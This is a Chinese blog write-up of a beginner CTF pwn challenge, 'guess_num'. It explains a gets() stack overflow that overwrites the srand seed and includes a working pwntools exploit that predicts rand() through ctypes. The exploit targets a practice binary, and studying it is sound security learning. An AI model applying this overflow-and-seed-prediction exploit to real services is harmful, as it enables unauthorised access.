初学pwn-攻防世界(guess_num)

原创

天柱是真天柱 于 2021-08-28 19:15:52 发布 89 收藏 1

分类专栏： pwn 文章标签： pwn

本文链接：https://blog.csdn.net/weixin_44547827/article/details/119971843

初学pwn-writeUp

攻防世界的第六题，guess_num。

从这个题目可以猜出来，是跟猜数字有关的题目。启动靶机。

使用nc链接远端，查看一下。

```
lqr8452@ubuntu:~/Desktop$ nc 111.200.241.244 49191
--------------------------------
Welcome to a guess number game!
--------------------------------
Please let me know your name!
Your name:lqz
-------------Turn:1-------------
Please input your guess number:1
--------------------------------
GG!
```

发现链接之后，首先是输出了欢迎界面，之后需要输入一个名字。输入完成之后就要求开始猜数字。但是要命的是，只能猜一次，猜错了就GG。没有办法，这条路行不通。

下载文件，cat一下，很明显，是一个ELF文件。放进ida里查看一下。

IDA Vie... | Pseudocod... | Stack of ... | Hex Vie... | Struct...

```
1  __int64 __fastcall main(int a1, char **a2, char **a3)
2  {
3    int v4; // [rsp+4h] [rbp-3Ch] BYREF
4    int i; // [rsp+8h] [rbp-38h]
5    int v6; // [rsp+Ch] [rbp-34h]
6    char v7[32]; // [rsp+10h] [rbp-30h] BYREF
7    unsigned int seed[2]; // [rsp+30h] [rbp-10h]
8    unsigne  char v7[32]; // [rsp+10h] [rbp-30h] BYREF
9
10   v9 = __readfsqword(0x28u);
11   setbuf(stdin, 0LL);
12   setbuf(stdout, 0LL);
13   setbuf(stderr, 0LL);
14   v4 = 0;
15   v6 = 0;
16   *(_QWORD *)seed = sub_BB0();
17   puts("--------------------------------");
18   puts("Welcome to a guess number game!");
19   puts("--------------------------------");
20   puts("Please let me know your name!");
21   printf("Your name:");
22   gets(v7);
23   srand(seed[0]);
24   for ( i = 0; i <= 9; ++i )
25   {
26     v6 = rand() % 6 + 1;
27     printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
28     printf("Please input your guess number:");
29     __isoc99_scanf("%d", &v4);
```

发现这里的逻辑，就是生成一个伪随机数，然后进行猜数字。可以看到在23行这里，给srand函数设置了一个种子，然后进入循环，生成随机数，要求我们输入数字，进行比较。好的一点是这里的随机数最大也就是6，不过要猜10次，一次都不能错，一个一个猜，累死也猜不到。
假设可以顺利的猜对所有的数字，就可以继续执行接下来的步骤。

```
20  puts("Please let me know your name!");
21  printf("Your name:");
22  gets(v7);
23  srand(seed[0]);
24  for ( i = 0; i <= 9; ++i )
25  {
26    v6 = rand() % 6 + 1;
27    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
28    printf("Please input your guess number:");
29    __isoc99_scanf("%d", &v4);
30    puts("---------------------------------");
31    if ( v4 != v6 )
32    {
33      puts("GG!");
34      exit(1);
35    }
36    puts("Success!");
37  }
38  sub_C3E();
39  return 0LL;
40 }
00000D64 main:25 (D64)
```

IDA View-A | Pseudocode-A | Hex View-1

```
1  __int64 sub_C3E()
2  {
3    printf("You are a prophet!\nHere is your flag!");
4    system("cat flag");
5    return 0LL;
6  }
```

嗯，没错，看到这里就可以确认了，我们只要猜对10次，那么就可以顺利的拿到flag。
我们返回上面重新看，发现在要求输入名字的这里，有一个gets函数。有输入就有栈溢出的可能，去瞅瞅v7这个变量。

```
-0000000000000038 var_38          dd ?
-0000000000000034 var_34          dd ?
-0000000000000030 var_30          db 32 dup(?)
-0000000000000010 seed            dd 2 dup(?)
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
```

可以发现，v7这个数组就在seed上面，再从main函数的页面，我们可以发现v7这个数组占了20个空间（注意，这里是16进制的20，相当于十进制的32，我今天就是在这里栽了好久）。
在v7之后紧接着就是seed，我们在main函数中注意到，srand函数是使用seed的第0个元素作为种子的，所以我们只需要将v7填满之后，再溢出一个空间去覆盖seed[0]就可以了。
exp

```
from pwn import *
from ctypes import *

p = remote("111.200.241.244", 49191);
payload = 'a'*0x20 + p64(1).decode("iso-8859-1");

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

p.recvuntil("name:");
p.sendline(payload);

libc.srand(1);

for i in range(10):
    t = str(libc.rand()%6+1);
    p.recvuntil("number:");
    p.sendline(t);

p.interactive();
```

运行结束，成功拿到flag！